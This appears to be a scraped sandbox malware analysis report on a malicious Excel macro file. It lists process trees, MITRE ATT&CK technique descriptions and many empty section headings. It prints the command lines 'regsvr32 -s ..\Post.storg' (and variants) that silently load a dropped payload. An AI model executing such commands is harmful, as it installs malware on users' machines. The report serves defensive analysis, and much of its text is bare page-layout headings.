20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 5184 Parent PID: 792

General

Start time:	05:34:26
Start date:	09/06/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13b0000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 4952 Parent PID: 5184

General

Start time:	05:34:54
Start date:	09/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 -s ..\Post.storg
Imagebase:	0x210000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 5368 Parent PID: 5184

General

Start time:	05:34:55
Start date:	09/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 -s ..\Post.storg1
Imagebase:	0x210000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 4876 Parent PID: 5184

General

Start time:	05:34:56
Start date:	09/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 -s ..\Post.storg2
Imagebase:	0x210000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report Cancellation_1844611233_06082021.xlsm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Cancellation_1844611233_06082021.xlsm"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 5184 Parent PID: 792

General

Chronological Activities

Analysis Process: regsvr32.exe PID: 4952 Parent PID: 5184

General